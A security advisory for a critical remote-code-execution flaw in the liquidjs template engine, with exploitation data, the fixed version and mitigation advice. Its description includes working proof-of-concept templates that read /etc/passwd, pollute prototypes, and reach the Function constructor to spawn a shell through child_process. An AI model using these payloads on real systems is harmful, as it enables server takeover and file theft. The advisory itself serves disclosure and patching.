LiquidJS is Vulnerable to Remote Code ExecutionGHSA-gf2q-c269-pqgc
CRITICALGHSA-gf2q-c269-pqgc is a critical-severity (CVSS 10) Code Injection vulnerability in liquidjs. A fix is available for liquidjs — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-gf2q-c269-pqgc.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-gf2q-c269-pqgc by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 384,534 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
liquidjsnpmDescription
Summary
It is possible to execute arbitrary code with crafted templates
Details
<details> <summary> `1|valueOf` -> `this` when evaluating the filter </summary>{%assign r=1|valueOf%}
{{r|inspect}}
{"context":{"scopes":[{"r":"[Circular]"}],"registers":{},"breakCalled":false,"continueCalled":false,"sync":false,"opts":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"globals":{},"environments":{},"strictVariables":false,"ownPropertyOnly":true,"memoryLimit":{"base":0,"message":"memory alloc limit exceeded","limit":null},"renderLimit":{"base":0,"message":"template render limit exceeded","limit":null}},"token":{"kind":32,"input":"{%assign r=1|valueOf%}\n{{r|inspect}}","begin":13,"end":20,"name":"valueOf","args":[]},"liquid":{"renderer":{},"filters":{"raw":{"raw":true}},"tags":{},"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"parser":{"liquid":"[Circular]","fs":{"sep":"/"},"loader":{"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null}},"parseLimit":{"base":0,"message":"parse length limit exceeded","limit":null}}}}
</details>
<details>
<summary>
function calls with a controlled first argument via comprable
</summary>
import { Liquid } from "liquidjs";
const engine = new Liquid();
const storeFn = (dst, src) => {
const parts = src.split(".");
const path = parts.slice(0, -1).join(".");
const prop = parts.at(-1);
return `
{% assign _g = ${path}|group_by:"0"%}
{% assign _gs = _g | where:n,"${prop}"|first%}
{% assign ${dst} = _gs.items | first | last %}`;
};
const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first
assign fs = r.liquid.options.fs
assign n = "name"%}
${storeFn("equals", "fs.readFileSync")}
${storeFn("gt", "fs.readFileSync")}
${storeFn("geq", "fs.readFileSync")}
${storeFn("lt", "fs.readFileSync")}
${storeFn("leq", "fs.readFileSync")}
{{m == "/etc/passwd"}}
`;
const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());
<img width="1426" height="717" alt="image" src="https://github.com/user-attachments/assets/0618eb81-fb0d-4100-a6a0-556982decf8a" />
</details>
<details><summary>changing the prototype of things</summary>
import { Liquid } from "liquidjs";
const engine = new Liquid();
engine.registerFilter("log", (val) => console.dir(val, { depth: 1 }));
const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first %}
{{m|log}}
{% assign __proto__ = r.liquid.parser %}
{{m|log}}
`;
const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());
<img width="723" height="211" alt="image" src="https://github.com/user-attachments/assets/c05f4c4a-4151-4765-b569-3300ad837668" />
</details>
When calling functions via the comparable gadget, this will be the scope.
By overwriting this.loader.lookup and this.readFile, to fully control what goes into this.parse, and while controlling this, a reference to the Function constructor can be obtained, which then allows executing arbitrary code.
private * _parseFile (file: string, sync?: boolean, type: LookupType = LookupType.Root, currentFile?: string): Generator<unknown, Template[], string> {
const filepath = yield this.loader.lookup(file, type, sync, currentFile)
return this.parse(yield this.readFile(!!sync, filepath), filepath)
}
PoC
Complete instructions, including specific configuration details, to reproduce the vulnerability.
import { Liquid } from "liquidjs";
const engine = new Liquid();
const storeFn = (dst, src) => {
const parts = src.split(".");
const path = parts.slice(0, -1).join(".");
const prop = parts.at(-1);
return `
{% assign _g = ${path}|group_by:"0"%}
{% assign _gs = _g | where:n,"${prop}"|first%}
{% assign ${dst} = _gs.items | first | last %}`;
};
const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first
assign l = r.liquid
assign p = l.parser
assign f = l.filters
assign n = "name"%}
${storeFn("equals", "p.parseFile")}
${storeFn("gt", "p.parseFile")}
${storeFn("geq", "p.parseFile")}
${storeFn("lt", "p.parseFile")}
${storeFn("leq", "p.parseFile")}
${storeFn("readFile", "f.default")}
${storeFn("lookup", "f.raw.handler")}
{% assign loader = m %}
{% assign context = m %}
{% assign opts = m %}
{% assign liquid = m %}
{% assign options = m %}
{% assign __proto__ = p %}
{% assign tagDelimiterLeft = n %}
{% assign tagDelimiterRight = n %}
{% assign outputDelimiterLeft = '[' %}
{% assign outputDelimiterRight = ']'%}
{# set to some some function, so that filters['constructor'] -> Function #}
${storeFn("filters", "f.raw.handler")}
{# store Function #}
{% assign output = m == "[0|constructor]" | first %}
{% assign val = output.value.filters|first %}
{# set scope.equals to Function #}
${storeFn("equals", "val.handler")}
{% assign RCE = m == "return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})" %}
{{RCE}}
`;
const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());
Impact
What kind of vulnerability is it? Who is impacted? Remote Code Execution.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | liquidjs | all versions | 10.26.0npm install liquidjs@10.26.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for liquidjs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update liquidjs to 10.26.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gf2q-c269-pqgc is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Frequently Asked Questions
Is GHSA-gf2q-c269-pqgc in your dependencies?
Find it across npm, including transitive dependencies.